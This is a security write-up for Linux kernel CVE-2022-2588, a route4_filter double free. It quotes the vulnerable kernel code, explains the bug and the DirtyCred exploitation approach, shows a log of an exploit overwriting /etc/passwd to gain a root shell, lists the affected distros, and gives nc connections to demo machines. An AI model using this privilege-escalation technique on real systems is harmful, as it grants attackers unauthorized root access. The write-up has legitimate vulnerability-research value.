The bug is fixed in Linux v5.19 by this commit.
The bug was introduced in Linux v3.17 by this commit back to 2014. It requires User Namespaces
to trigger. This bug is very similar to CVE-2021-3715, which was caused by improper operation on the route4_filter
's linked list. More details of CVE-2021-3715 could be found at the blackhat talk (page 16). The following is some brief details of CVE-2022-2588.
The following shows some important code snippets of function route4_change
for understanding CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
The function is implemented to initialize/replace route4_filter
object. The filter uses handle
as an unique id to distinguish between each filter. If there exists a handle that has been initialized before (i.e. the fold
variable is not null), it will update the filter by removing the old filter and adding a new filter, otherwise, it will just add a new filter.
In [0], kernel allocate the route4_filter
object. In [1], if fold is not empty, which means there exists a filter with the same handle, it will copy some information to the new filter and initialize the new filter in [2], then insert the new filter to the list in [3]. If the old filter exists, it gets removed from list in [4] and gets freed in [6].
The bug happens in [4], which checks whether there exists an old filter to be removed. The condition ensures that the handle shouldn't be zero and it should match with the new filter's handle. This condition doesn't align with the condition of freeing the filter in [6], which only checks if the old filter exists. Therefore, if users create a filter whose handle is 0, then trigger the replacement of it, the filter will not be unlinked in [4] but gets freed in [6] since their condition isn't the same.
Since this bug is similar to CVE-2021-3715, their primitives are nearly the same. Readers could refer to the the blackhat talk for more detailed description of primitives. This write-up shows the exploitation with the idea of DirtyCred.
Since the freed fold
is still on the linked list after triggering the bug, we could free the fold
once again, which eventually will cause a double free on the route4_filer
object and route4_filter->exts.action
object if CONFIG_NET_CLS_ACT
is enabled.
The exploit codes utilize those two double-free capabilities to demonstrate the attack on task credentials (utilizing kmalloc-192 double free, to be coming) and open file credentials (utilizing kmalloc-256 double free).
Following the idea of DirtyCred, the exploit code swaps the file credential after the permission checks, so we could write any content to files with read permission. Ideally, the code could work across all kernel versions affected by the bug. It is noted that in order to make sure the code will work on older kernels where msg_msg
is isolated in kmalloc-rcl-*
, the exploit uses a different spray object.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
The exploit was written to work on as many distros as possible. It was confirmed to be working on:
- CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
- CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
- Debian 11 (5.10.0-8-amd64 ~ xxx)
- Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
- Manjaro 18 (xxx ~ xxx)
- RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
- Ubuntu 17 (4.10.0-19-generic ~ xxx)
- Ubuntu 18 (xxx ~ xxx)
- Ubuntu 19 (5.0.0-38-generic ~ xxx)
- Ubuntu 20 (xxx ~ xxx)
(Please feel free to send a PR to update this if you find it could work on other kernels.)
Please login with user low
and password low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338